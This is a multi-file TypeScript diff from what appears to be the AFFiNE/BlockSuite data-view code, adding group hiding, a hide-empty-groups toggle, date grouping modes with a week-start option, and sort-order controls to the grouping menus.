activators: defaultActivators,
@@ -78,99 +162,101 @@ export class GroupSetting extends SignalWatcher(
const activeId = evt.active.id;
const groups = this.groups$.value;
if (over && over.id !== activeId && groups) {
const activeIndex = groups.findIndex(data => data?.key === activeId);
const overIndex = groups.findIndex(data => data?.key === over.id);
const aIndex = groups.findIndex(g => g?.key === activeId);
const oIndex = groups.findIndex(g => g?.key === over.id);
this.groupTrait.moveGroupTo(
activeId,
activeIndex > overIndex
? {
before: true,
id: over.id,
}
: {
before: false,
id: over.id,
}
aIndex > oIndex
? { before: true, id: over.id }
: { before: false, id: over.id }
);
}
},
modifiers: [
({ transform }) => {
return {
...transform,
x: 0,
};
},
],
items: computed(() => {
return (
this.groupTrait.groupsDataList$.value?.map(
v => v?.key ?? 'default key'
) ?? []
);
}),
modifiers: [({ transform }) => ({ ...transform, x: 0 })],
items: computed(
() =>
this.groupTrait.groupsDataListAll$.value?.map(v => v?.key ?? '') ?? []
),
strategy: verticalListSortingStrategy,
});
override connectedCallback() {
super.connectedCallback();
this._disposables.addFromEvent(this, 'pointerdown', e => {
e.stopPropagation();
});
this._disposables.addFromEvent(this, 'pointerdown', e =>
e.stopPropagation()
);
}
protected override render(): unknown {
const groups = this.groupTrait.groupsDataList$.value;
if (!groups) {
return;
}
protected override render() {
const groups = this.groupTrait.groupsDataListAll$.value;
if (!groups) return;
const map = this.groupTrait.groupDataMap$.value;
const isAllShowed = map
? Object.keys(map).every(k => !this.groupTrait.isGroupHidden(k))
: true;
const clickChangeAll = () => {
if (!map) return;
Object.keys(map).forEach(key => {
this.groupTrait.setGroupHide(key, isAllShowed);
});
};
return html`
<div style="padding: 7px 0;">
<div
style="padding:7px 0;display:flex;justify-content:space-between;align-items:center;"
>
<div
style="padding: 0 4px; font-size: 12px;color: var(--affine-text-secondary-color);line-height: 20px;"
style="padding:0 4px;font-size:12px;color:var(--affine-text-secondary-color);line-height:20px;"
>
Groups
</div>
<div></div>
<div class="properties-group-op" @click="${clickChangeAll}">
${isAllShowed ? 'Hide All' : 'Show All'}
</div>
</div>
<div
style="display:flex;flex-direction: column;gap: 4px;"
class="group-sort-setting"
>
<div class="group-sort-setting">
${repeat(
groups,
group => group?.key ?? 'default key',
group => {
const type = group.property.dataType$.value;
g => g?.key ?? 'k',
g => {
if (!g) return;
const type = g.property.dataType$.value;
if (!type) return;
const props: GroupRenderProps = {
group,
readonly: true,
};
return html` <div
${sortable(group.key)}
${dragHandler(group.key)}
class="dv-hover dv-round-4 group-item"
>
<div class="group-item-drag-bar"></div>
const props: GroupRenderProps = { group: g, readonly: true };
const icon = g.hide$.value ? InvisibleIcon() : ViewIcon();
return html`
<div
style="padding: 0 4px;position:relative;pointer-events: none;max-width: 330px"
${sortable(g.key)}
${dragHandler(g.key)}
class="dv-hover dv-round-4 group-item ${g.hide$.value
? 'group-hidden'
: ''}"
>
${renderUniLit(group.view, props)}
<div class="group-item-drag-bar"></div>
<div
style="position:absolute;left: 0;top: 0;right: 0;bottom: 0;"
></div>
class="group-item-name"
style="padding:0 4px;position:relative;pointer-events:none;max-width:330px;"
>
${renderUniLit(g.view, props)}
<div
style="position:absolute;left:0;top:0;right:0;bottom:0;"
></div>
</div>
<div
class="group-item-op-icon"
@click="${() => g.hideSet(!g.hide$.value)}"
>
${icon}
</div>
</div>
</div>`;
`;
}
)}
</div>
`;
}
@query('.group-sort-setting')
accessor groupContainer!: HTMLElement;
@query('.group-sort-setting') accessor groupContainer!: HTMLElement;
}
export const selectGroupByProperty = (
@@ -184,10 +270,7 @@ export const selectGroupByProperty = (
const view = group.view;
return {
onClose: ops?.onClose,
title: {
text: 'Group by',
onBack: ops?.onBack,
},
title: { text: 'Group by', onBack: ops?.onBack, onClose: ops?.onClose },
items: [
menu.group({
items: view.propertiesRaw$.value
@@ -219,7 +302,7 @@ export const selectGroupByProperty = (
menu.action({
prefix: DeleteIcon(),
hide: () =>
view instanceof KanbanSingleView || group.property$.value == null,
view instanceof KanbanSingleView || !group.property$.value,
class: { 'delete-item': true },
name: 'Remove Grouping',
select: () => {
@@ -232,77 +315,305 @@ export const selectGroupByProperty = (
],
};
};
export const popSelectGroupByProperty = (
target: PopupTarget,
group: GroupTrait,
ops?: {
onSelect?: () => void;
onClose?: () => void;
onBack?: () => void;
}
ops?: { onSelect?: () => void; onClose?: () => void; onBack?: () => void },
middleware?: Array<Middleware | null | undefined | false>
) => {
popMenu(target, {
const handler = popMenu(target, {
options: selectGroupByProperty(group, ops),
middleware,
});
handler.menu.menuElement.style.minHeight = '550px';
};
export const popGroupSetting = (
target: PopupTarget,
group: GroupTrait,
onBack: () => void
onBack: () => void,
onClose?: () => void,
middleware?: Array<Middleware | null | undefined | false>
) => {
const view = group.view;
const groupProperty = group.property$.value;
if (groupProperty == null) {
return;
}
const type = groupProperty.type$.value;
if (!type) {
return;
}
const icon = groupProperty.icon;
const gProp = group.property$.value;
if (!gProp) return;
const type = gProp.type$.value;
if (!type) return;
const icon = gProp.icon;
const menuHandler = popMenu(target, {
options: {
title: {
text: 'Group',
onBack: onBack,
onBack,
onClose,
},
items: [
menu.group({
items: [
menu.subMenu({
menu.action({
name: 'Group By',
postfix: html`
<div
style="display:flex;align-items:center;gap: 4px;font-size: 12px;line-height: 20px;color: var(--affine-text-secondary-color);margin-right: 4px;margin-left: 8px;"
style="display:flex;align-items:center;gap:4px;font-size:14px;line-height:20px;color:var(--affine-text-secondary-color);margin-left:8px;"
class="dv-icon-16"
>
${renderUniLit(icon, {})} ${groupProperty.name$.value}
${renderUniLit(icon, {})} ${gProp.name$.value}
</div>
`,
label: () => html`
<div style="color: var(--affine-text-secondary-color);">
Group By
</div>
`,
options: selectGroupByProperty(group, {
onSelect: () => {
menuHandler.close();
popGroupSetting(target, group, onBack);
select: () => {
const subHandler = popMenu(target, {
options: selectGroupByProperty(group, {
onSelect: () => {
menuHandler.close();
popGroupSetting(
target,
group,
onBack,
onClose,
middleware
);
},
onBack: () => {
menuHandler.close();
popGroupSetting(
target,
group,
onBack,
onClose,
middleware
);
},
onClose,
}),
middleware: [
autoPlacement({
allowedPlacements: ['bottom-start', 'top-start'],
}),
offset({ mainAxis: 15, crossAxis: -162 }),
shift({ crossAxis: true }),
],
});
subHandler.menu.menuElement.style.minHeight = '550px';
},
}),
],
}),
...(type === 'date'
? [
menu.group({
items: [
menu.dynamic(() => [
menu.subMenu({
name: 'Date by',
openOnHover: false,
middleware: dropdownSubMenuMiddleware,
autoHeight: true,
postfix: html`
<div
style="display:flex;align-items:center;gap:4px;font-size:14px;line-height:20px;color:var(--affine-text-secondary-color);margin-left:30px;"
>
${dateModeLabel(group.groupInfo$.value?.config.name)}
</div>
`,
options: {
items: [
menu.dynamic(() =>
(
[
['Relative', 'date-relative'],
['Day', 'date-day'],
[
'Week',
group.groupInfo$.value?.config.name ===
'date-week-mon'
? 'date-week-mon'
: 'date-week-sun',
],
['Month', 'date-month'],
['Year', 'date-year'],
] as [string, string][]
).map(
([label, key]): MenuConfig =>
menu.action({
name: label,
label: () => {
const isSelected =
group.groupInfo$.value?.config.name ===
key;
return html`<span
style="font-size:14px;color:${isSelected
? 'var(--affine-text-emphasis-color)'
: 'var(--affine-text-secondary-color)'}"
>${label}</span
>`;
},
isSelected:
group.groupInfo$.value?.config.name === key,
select: () => {
group.changeGroupMode(key);
return false;
},
})
)
),
],
},
}),
]),
],
}),
...(group.groupInfo$.value?.config.name?.startsWith('date-week')
? [
menu.group({
items: [
menu.dynamic(() => [
menu.subMenu({
name: 'Start week on',
postfix: html`
<div
style="display:flex;align-items:center;gap:4px;font-size:14px;line-height:20px;color:var(--affine-text-secondary-color);margin-left:8px;"
>
${group.groupInfo$.value?.config.name ===
'date-week-mon'
? 'Monday'
: 'Sunday'}
</div>
`,
options: {
items: [
menu.dynamic(() =>
(
[
['Monday', 'date-week-mon'],
['Sunday', 'date-week-sun'],
] as [string, string][]
).map(([label, key]) =>
menu.action({
name: label,
label: () => {
const isSelected =
group.groupInfo$.value?.config
.name === key;
return html`<span
style="font-size:14px;color:${isSelected
? 'var(--affine-text-emphasis-color)'
: 'var(--affine-text-secondary-color)'}"
>${label}</span
>`;
},
isSelected:
group.groupInfo$.value?.config.name ===
key,
select: () => {
group.changeGroupMode(key);
return false;
},
})
)
),
],
},
}),
]),
],
}),
]
: []),
menu.group({
items: [
menu.dynamic(() => [
menu.subMenu({
name: 'Sort',
openOnHover: false,
middleware: dropdownSubMenuMiddleware,
autoHeight: true,
postfix: html`
<div
style="display:flex;align-items:center;gap:4px;font-size:14px;line-height:20px;color:var(--affine-text-secondary-color);margin-left:8px;"
>
${group.sortAsc$.value
? 'Oldest first'
: 'Newest first'}
</div>
`,
options: {
items: [
menu.dynamic(() => [
menu.action({
name: 'Oldest first',
label: () => {
const isSelected = group.sortAsc$.value;
return html`<span
style="font-size:14px;color:${isSelected
? 'var(--affine-text-emphasis-color)'
: 'var(--affine-text-secondary-color)'}"
>Oldest first</span
>`;
},
isSelected: group.sortAsc$.value,
select: () => {
group.setDateSortOrder(true);
return false;
},
}),
menu.action({
name: 'Newest first',
label: () => {
const isSelected = !group.sortAsc$.value;
return html`<span
style="font-size:14px;color:${isSelected
? 'var(--affine-text-emphasis-color)'
: 'var(--affine-text-secondary-color)'}"
>Newest first</span
>`;
},
isSelected: !group.sortAsc$.value,
select: () => {
group.setDateSortOrder(false);
return false;
},
}),
]),
],
},
}),
]),
],
}),
]
: []),
menu.group({
items: [
menu.dynamic(() => [
menu.action({
name: 'Hide empty groups',
isSelected: group.hideEmpty$.value,
select: () => {
group.setHideEmpty(!group.hideEmpty$.value);
return false;
},
}),
}),
]),
],
}),
menu.group({
items: [
menu =>
html` <data-view-group-setting
@mouseenter="${() => menu.closeSubMenu()}"
.groupTrait="${group}"
.columnId="${groupProperty.id}"
></data-view-group-setting>`,
menu => html`
<data-view-group-setting
@mouseenter=${() => menu.closeSubMenu()}
.groupTrait=${group}
.columnId=${gProp.id}
></data-view-group-setting>
`,
],
}),
menu.group({
items: [
menu.action({
@@ -312,11 +623,14 @@ export const popGroupSetting = (
hide: () => !(view instanceof TableSingleView),
select: () => {
group.changeGroup(undefined);
return false;
},
}),
],
}),
],
},
middleware,
});
menuHandler.menu.menuElement.style.minHeight = '550px';
};

View File

@@ -2,7 +2,12 @@ import {
insertPositionToIndex,
type InsertToPosition,
} from '@blocksuite/affine-shared/utils';
import { computed, type ReadonlySignal } from '@preact/signals-core';
import {
computed,
effect,
type ReadonlySignal,
signal,
} from '@preact/signals-core';
import type { GroupBy, GroupProperty } from '../common/types.js';
import type { TypeInstance } from '../logical/type.js';
@@ -11,8 +16,10 @@ import { computedLock } from '../utils/lock.js';
import type { Property } from '../view-manager/property.js';
import type { Row } from '../view-manager/row.js';
import type { SingleView } from '../view-manager/single-view.js';
import { compareDateKeys } from './compare-date-keys.js';
import { defaultGroupBy } from './default.js';
import { getGroupByService } from './matcher.js';
import { findGroupByConfigByName, getGroupByService } from './matcher.js';
// Test
import type { GroupByConfig } from './types.js';
export type GroupInfo<
@@ -42,138 +49,71 @@ export class Group<
get property() {
return this.groupInfo.property;
}
name$ = computed(() => {
const type = this.property.dataType$.value;
if (!type) {
return '';
}
return this.groupInfo.config.groupName(type, this.value);
return type ? this.groupInfo.config.groupName(type, this.value) : '';
});
private get config() {
return this.groupInfo.config;
}
get tType() {
return this.groupInfo.tType;
}
get view() {
return this.config.view;
}
hide$ = computed(() => {
const groupHide =
this.manager.groupPropertiesMap$.value[this.key]?.hide ?? false;
const emptyHidden = this.manager.hideEmpty$.value && this.rows.length === 0;
return groupHide || emptyHidden;
});
hideSet(hide: boolean) {
this.manager.setGroupHide(this.key, hide);
}
}
function hasGroupProperties(
data: unknown
): data is { groupProperties?: GroupProperty[] } {
if (typeof data !== 'object' || data === null) {
return false;
}
if (!('groupProperties' in data)) {
return false;
}
const value = (data as { groupProperties?: unknown }).groupProperties;
return value === undefined || Array.isArray(value);
}
export class GroupTrait {
groupInfo$ = computed<GroupInfo | undefined>(() => {
const groupBy = this.groupBy$.value;
if (!groupBy) {
return;
}
const property = this.view.propertyGetOrCreate(groupBy.columnId);
if (!property) {
return;
}
const tType = property.dataType$.value;
if (!tType) {
return;
}
const groupByService = getGroupByService(this.view.manager.dataSource);
const result = groupByService?.matcher.match(tType);
if (!result) {
return;
}
return {
config: result,
property,
tType: tType,
};
hideEmpty$ = signal<boolean>(true);
sortAsc$ = signal<boolean>(true);
groupProperties$ = computed(() => {
const data = this.view.data$.value;
return hasGroupProperties(data) ? (data.groupProperties ?? []) : [];
});
staticInfo$ = computed(() => {
const groupInfo = this.groupInfo$.value;
if (!groupInfo) {
return;
}
const staticMap = Object.fromEntries(
groupInfo.config
.defaultKeys(groupInfo.tType)
.map(({ key, value }) => [key, new Group(key, value, groupInfo, this)])
);
return {
staticMap,
groupInfo,
};
});
groupDataMap$ = computed(() => {
const staticInfo = this.staticInfo$.value;
if (!staticInfo) {
return;
}
const { staticMap, groupInfo } = staticInfo;
const groupMap: Record<string, Group> = {};
Object.entries(staticMap).forEach(([key, group]) => {
groupMap[key] = new Group(key, group.value, groupInfo, this);
groupPropertiesMap$ = computed(() => {
const map: Record<string, GroupProperty> = {};
this.groupProperties$.value.forEach(g => {
map[g.key] = g;
});
this.view.rows$.value.forEach(row => {
const value = this.view.cellGetOrCreate(row.rowId, groupInfo.property.id)
.jsonValue$.value;
const keys = groupInfo.config.valuesGroup(value, groupInfo.tType);
keys.forEach(({ key, value }) => {
if (!groupMap[key]) {
groupMap[key] = new Group(key, value, groupInfo, this);
}
groupMap[key].rows.push(row);
});
});
return groupMap;
});
groupsDataList$ = computedLock(
computed(() => {
const groupMap = this.groupDataMap$.value;
if (!groupMap) {
return;
}
const sortedGroup = this.ops.sortGroup(Object.keys(groupMap));
sortedGroup.forEach(key => {
if (!groupMap[key]) return;
groupMap[key].rows = this.ops.sortRow(key, groupMap[key].rows);
});
return sortedGroup
.map(key => groupMap[key])
.filter((v): v is Group => v != null);
}),
this.view.isLocked$
);
updateData = (data: NonNullable<unknown>) => {
const property = this.property$.value;
if (!property) {
return;
}
this.view.propertyGetOrCreate(property.id).dataUpdate(() => data);
};
get addGroup() {
return this.property$.value?.meta$.value?.config.addGroup;
}
property$ = computed(() => {
const groupInfo = this.groupInfo$.value;
if (!groupInfo) {
return;
}
return groupInfo.property;
return map;
});
/**
* Synchronize sortAsc$ with the GroupBy sort descriptor
*/
constructor(
private readonly groupBy$: ReadonlySignal<GroupBy | undefined>,
public view: SingleView,
private readonly ops: {
groupBySet: (groupBy: GroupBy | undefined) => void;
sortGroup: (keys: string[]) => string[];
groupBySet: (g: GroupBy | undefined) => void;
sortGroup: (keys: string[], asc?: boolean) => string[];
sortRow: (groupKey: string, rows: Row[]) => Row[];
changeGroupSort: (keys: string[]) => void;
changeRowSort: (
@@ -181,11 +121,188 @@ export class GroupTrait {
groupKey: string,
keys: string[]
) => void;
changeGroupHide?: (key: string, hide: boolean) => void;
}
) {}
) {
effect(() => {
const desc = this.groupBy$.value?.sort?.desc;
if (desc != null && this.sortAsc$.value === desc) {
this.sortAsc$.value = !desc;
}
});
// Sync hideEmpty state with GroupBy data
effect(() => {
const hide = this.groupBy$.value?.hideEmpty;
if (hide != null && this.hideEmpty$.value !== hide) {
this.hideEmpty$.value = hide;
}
});
}
groupInfo$ = computed<GroupInfo | undefined>(() => {
const groupBy = this.groupBy$.value;
if (!groupBy) return;
const property = this.view.propertyGetOrCreate(groupBy.columnId);
if (!property) return;
const tType = property.dataType$.value;
if (!tType) return;
const svc = getGroupByService(this.view.manager.dataSource);
const res =
groupBy.name != null
? (findGroupByConfigByName(
this.view.manager.dataSource,
groupBy.name
) ?? svc?.matcher.match(tType))
: svc?.matcher.match(tType);
if (!res) return;
return { config: res, property, tType };
});
staticInfo$ = computed(() => {
const info = this.groupInfo$.value;
if (!info) return;
const staticMap = Object.fromEntries(
info.config
.defaultKeys(info.tType)
.map(({ key, value }) => [key, new Group(key, value, info, this)])
);
return { staticMap, groupInfo: info };
});
groupDataMap$ = computed(() => {
const si = this.staticInfo$.value;
if (!si) return;
const { staticMap, groupInfo } = si;
// Create fresh Group instances with empty rows arrays
const map: Record<string, Group> = {};
Object.entries(staticMap).forEach(([key, group]) => {
map[key] = new Group(key, group.value, groupInfo, this);
});
// Assign rows to their respective groups
this.view.rows$.value.forEach(row => {
const cell = this.view.cellGetOrCreate(row.rowId, groupInfo.property.id);
const jv = cell.jsonValue$.value;
const keys = groupInfo.config.valuesGroup(jv, groupInfo.tType);
keys.forEach(({ key, value }) => {
if (!map[key]) map[key] = new Group(key, value, groupInfo, this);
map[key].rows.push(row);
});
});
return map;
});
groupsDataList$ = computedLock(
computed(() => {
const map = this.groupDataMap$.value;
if (!map) return;
const gi = this.groupInfo$.value;
let ordered: string[];
if (gi?.config.matchType.name === 'Date') {
ordered = Object.keys(map).sort(
compareDateKeys(gi.config.name, this.sortAsc$.value)
);
} else {
ordered = this.ops.sortGroup(Object.keys(map), this.sortAsc$.value);
}
return ordered
.map(k => map[k])
.filter(
(g): g is Group =>
!!g &&
!this.isGroupHidden(g.key) &&
(!this.hideEmpty$.value || g.rows.length > 0)
);
}),
this.view.isLocked$
);
/**
* Computed list of groups including hidden ones, used by settings UI.
*/
groupsDataListAll$ = computedLock(
computed(() => {
const map = this.groupDataMap$.value;
const info = this.groupInfo$.value;
if (!map || !info) return;
let orderedKeys: string[];
if (info.config.matchType.name === 'Date') {
orderedKeys = Object.keys(map).sort(
compareDateKeys(info.config.name, this.sortAsc$.value)
);
} else {
orderedKeys = this.ops.sortGroup(Object.keys(map), this.sortAsc$.value);
}
const visible: Group[] = [];
const hidden: Group[] = [];
orderedKeys
.map(key => map[key])
.filter((g): g is Group => g != null)
.forEach(g => {
if (g.hide$.value) {
hidden.push(g);
} else {
visible.push(g);
}
});
return [...visible, ...hidden];
}),
this.view.isLocked$
);
/** Whether all groups are currently hidden */
allHidden$ = computed(() => {
const map = this.groupDataMap$.value;
if (!map) return false;
return Object.keys(map).every(key => this.isGroupHidden(key));
});
/**
* Toggle hiding of empty groups.
*/
setHideEmpty(value: boolean) {
this.hideEmpty$.value = value;
const gb = this.groupBy$.value;
if (gb) {
this.ops.groupBySet({ ...gb, hideEmpty: value });
}
}
isGroupHidden(key: string): boolean {
return this.groupPropertiesMap$.value[key]?.hide ?? false;
}
setGroupHide(key: string, hide: boolean) {
this.ops.changeGroupHide?.(key, hide);
}
/**
* Set sort order for date groupings and update GroupBy sort descriptor.
*/
setDateSortOrder(asc: boolean) {
this.sortAsc$.value = asc;
const gb = this.groupBy$.value;
if (gb) {
this.ops.groupBySet({
...gb,
sort: { desc: !asc },
hideEmpty: gb.hideEmpty,
});
}
}
addToGroup(rowId: string, key: string) {
this.view.lockRows(false);
const groupMap = this.groupDataMap$.value;
const groupInfo = this.groupInfo$.value;
if (!groupMap || !groupInfo) {
@@ -205,18 +322,34 @@ export class GroupTrait {
.cellGetOrCreate(rowId, groupInfo.property.id)
.valueSet(newValue);
}
}
const map = this.groupDataMap$.value;
const info = this.groupInfo$.value;
if (!map || !info) return;
changeCardSort(groupKey: string, cardIds: string[]) {
const groups = this.groupsDataList$.value;
if (!groups) {
return;
}
this.ops.changeRowSort(
groups.map(v => v.key),
groupKey,
cardIds
const addFn = info.config.addToGroup;
if (addFn === false) return;
const group = map[key];
if (!group) return;
const current = group.value;
// Handle both null and non-null values to ensure proper group assignment
const newVal = addFn(
current,
this.view.cellGetOrCreate(rowId, info.property.id).jsonValue$.value
);
this.view.cellGetOrCreate(rowId, info.property.id).valueSet(newVal);
}
changeGroupMode(modeName: string) {
const propId = this.property$.value?.id;
if (!propId) return;
this.ops.groupBySet({
type: 'groupBy',
columnId: propId,
name: modeName,
sort: { desc: !this.sortAsc$.value },
hideEmpty: this.hideEmpty$.value,
});
}
changeGroup(columnId: string | undefined) {
@@ -225,31 +358,38 @@ export class GroupTrait {
return;
}
const column = this.view.propertyGetOrCreate(columnId);
const propertyMeta = this.view.manager.dataSource.propertyMetaGet(
const meta = this.view.manager.dataSource.propertyMetaGet(
column.type$.value
);
if (propertyMeta) {
this.ops.groupBySet(
defaultGroupBy(
this.view.manager.dataSource,
propertyMeta,
column.id,
column.data$.value
)
if (meta) {
const gb = defaultGroupBy(
this.view.manager.dataSource,
meta,
column.id,
column.data$.value
);
if (gb) {
gb.sort = { desc: !this.sortAsc$.value };
gb.hideEmpty = this.hideEmpty$.value;
}
this.ops.groupBySet(gb);
}
}
changeGroupSort(keys: string[]) {
this.ops.changeGroupSort(keys);
property$ = computed(() => this.groupInfo$.value?.property);
get addGroup() {
return this.property$.value?.meta$.value?.config.addGroup;
}
defaultGroupProperty(key: string): GroupProperty {
return {
key,
hide: false,
manuallyCardSort: [],
};
updateData = (data: NonNullable<unknown>) => {
const prop = this.property$.value;
if (!prop) return;
this.view.propertyGetOrCreate(prop.id).dataUpdate(() => data);
};
changeGroupSort(keys: string[]) {
this.ops.changeGroupSort(keys);
}
moveCardTo(
@@ -258,7 +398,6 @@ export class GroupTrait {
toGroupKey: string,
position: InsertToPosition
) {
this.view.lockRows(false);
const groupMap = this.groupDataMap$.value;
if (!groupMap) {
return;
@@ -291,16 +430,16 @@ export class GroupTrait {
.map(row => row.rowId) ?? [];
const index = insertPositionToIndex(position, rows, row => row);
rows.splice(index, 0, rowId);
this.changeCardSort(toGroupKey, rows);
const groupKeys = Object.keys(groupMap);
this.ops.changeRowSort(groupKeys, toGroupKey, rows);
}
moveGroupTo(groupKey: string, position: InsertToPosition) {
this.view.lockRows(false);
const groups = this.groupsDataList$.value;
if (!groups) {
return;
}
const keys = groups.map(v => v.key);
const keys = groups.map(v => v!.key);
keys.splice(
keys.findIndex(key => key === groupKey),
1
@@ -311,7 +450,6 @@ export class GroupTrait {
}
removeFromGroup(rowId: string, key: string) {
this.view.lockRows(false);
const groupMap = this.groupDataMap$.value;
if (!groupMap) {
return;
@@ -330,7 +468,6 @@ export class GroupTrait {
}
updateValue(rows: string[], value: unknown) {
this.view.lockRows(false);
const propertyId = this.property$.value?.id;
if (!propertyId) {
return;

View File

@@ -21,8 +21,7 @@ type FnValueType<
export class FnTypeInstance<
Args extends readonly TypeInstance[] = readonly TypeInstance[],
Return extends TypeInstance = TypeInstance,
> implements TypeInstance
{
> implements TypeInstance {
_validate = fnSchema;
readonly _valueType = undefined as never as FnValueType<Args, Return>;
@@ -55,7 +54,6 @@ export class FnTypeInstance<
unify(ctx: TypeVarContext, template: FnTypeInstance, unify: Unify): boolean {
const newCtx = { ...ctx };
// eslint-disable-next-line @typescript-eslint/prefer-for-of
for (let i = 0; i < template.args.length; i++) {
const arg = template.args[i];
const realArg = this.args[i];
@@ -79,9 +77,9 @@ export class FnTypeInstance<
const fnSchema = Zod.function();
export class ArrayTypeInstance<Element extends TypeInstance = TypeInstance>
implements TypeInstance
{
export class ArrayTypeInstance<
Element extends TypeInstance = TypeInstance,
> implements TypeInstance {
readonly _validate;
readonly _valueType = undefined as never as ValueTypeOf<Element>[];

View File

@@ -14,8 +14,7 @@ export class DTInstance<
Name extends string = string,
Data = unknown,
ValueSchema extends Zod.ZodType = Zod.ZodType,
> implements TypeInstance
{
> implements TypeInstance {
readonly _valueType = undefined as never as Zod.TypeOf<ValueSchema>;
constructor(
@@ -47,8 +46,7 @@ export class DataType<
Name extends string = string,
DataSchema extends Zod.ZodType = Zod.ZodType,
ValueSchema extends Zod.ZodType = Zod.ZodType,
> implements TypeDefinition
{
> implements TypeDefinition {
constructor(
private readonly name: Name,
_dataSchema: DataSchema,

View File

@@ -17,9 +17,9 @@ export class TypeVarDefinitionInstance<
) {}
}
export class TypeVarReferenceInstance<Name extends string = string>
implements TypeInstance
{
export class TypeVarReferenceInstance<
Name extends string = string,
> implements TypeInstance {
readonly _validate = unknownSchema;
readonly _valueType = undefined as unknown;

View File

@@ -8,10 +8,10 @@ import type { Cell } from '../view-manager/cell.js';
import type { CellRenderProps, DataViewCellLifeCycle } from './manager.js';
export abstract class BaseCellRenderer<
RawValue = unknown,
JsonValue = unknown,
Data extends Record<string, unknown> = Record<string, unknown>,
>
RawValue = unknown,
JsonValue = unknown,
Data extends Record<string, unknown> = Record<string, unknown>,
>
extends SignalWatcher(WithDisposable(ShadowlessElement))
implements DataViewCellLifeCycle, CellRenderProps<Data, RawValue, JsonValue>
{

View File

@@ -3,6 +3,7 @@ import {
popMenu,
type PopupTarget,
} from '@blocksuite/affine-components/context-menu';
import type { Middleware } from '@floating-ui/dom';
import { renderUniLit } from '../utils/index.js';
import type { SortUtils } from './utils.js';
@@ -13,9 +14,13 @@ export const popCreateSort = (
sortUtils: SortUtils;
onClose?: () => void;
onBack?: () => void;
},
ops?: {
middleware?: Middleware[];
}
) => {
popMenu(target, {
const subHandler = popMenu(target, {
middleware: ops?.middleware,
options: {
onClose: props.onClose,
title: {
@@ -50,4 +55,5 @@ export const popCreateSort = (
],
},
});
subHandler.menu.menuElement.style.minHeight = '550px';
};

View File

@@ -29,8 +29,7 @@ export class CellBase<
RawValue = unknown,
JsonValue = unknown,
Data extends Record<string, unknown> = Record<string, unknown>,
> implements Cell<RawValue, JsonValue, Data>
{
> implements Cell<RawValue, JsonValue, Data> {
get dataSource() {
return this.view.manager.dataSource;
}

View File

@@ -68,8 +68,7 @@ export abstract class PropertyBase<
RawValue = unknown,
JsonValue = unknown,
Data extends Record<string, unknown> = Record<string, unknown>,
> implements Property<RawValue, JsonValue, Data>
{
> implements Property<RawValue, JsonValue, Data> {
meta$ = computed(() => {
return this.dataSource.propertyMetaGet(this.type$.value);
});

View File

@@ -20,6 +20,7 @@ export type MainProperties = {
};
export interface SingleView {
data$: any;
readonly id: string;
readonly type: string;
readonly manager: ViewManager;
@@ -78,8 +79,7 @@ export interface SingleView {
export abstract class SingleViewBase<
ViewData extends DataViewDataType = DataViewDataType,
> implements SingleView
{
> implements SingleView {
private readonly searchString = signal('');
private readonly traitMap = new Map<symbol, unknown>();

View File

@@ -6,8 +6,8 @@ import type { DataViewUILogicBase } from '../view/data-view-base.js';
import type { DataViewWidgetProps } from './types.js';
export class WidgetBase<
ViewLogic extends DataViewUILogicBase = DataViewUILogicBase,
>
ViewLogic extends DataViewUILogicBase = DataViewUILogicBase,
>
extends SignalWatcher(WithDisposable(ShadowlessElement))
implements DataViewWidgetProps<ViewLogic>
{

Some files were not shown because too many files have changed in this diff Show More